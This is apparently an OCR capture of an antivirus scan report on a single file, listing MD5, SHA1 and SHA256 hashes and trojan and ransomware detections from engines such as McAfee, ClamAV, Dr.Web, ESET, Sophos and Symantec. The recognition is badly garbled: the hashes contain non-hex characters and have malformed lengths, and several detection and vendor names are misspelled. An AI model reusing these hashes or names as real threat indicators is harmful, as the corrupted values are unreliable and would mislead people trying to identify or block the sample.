6c0007110d1 3afb949458b8e320092409 :MDS

649d871f78b1b62e2f8del f3a2f00d46a43173ddb :SHA1

35687c4b304aldddab] Bd3283bf23400b0ce50a05407156d55d3632272b0oc31 :SHA256
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erous
GenenicRXGL-A0EC000 MO0 34 trojsn “ meafee
-
Dangerous
Win. Trojan Agent-6684475-0 clanav
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Dangerous
Trofan Encoder. 26314 drweb
Dangerous
GenHeur Ransom RTH. 1 fsecure
o B .
Dangerous eset
avarant of Win3Z/Milecoder.GA trojan
owras . S
Dangerous
Troj Savel ike-A sophos
Dangerous
Trojan Gen 2 symantec

v



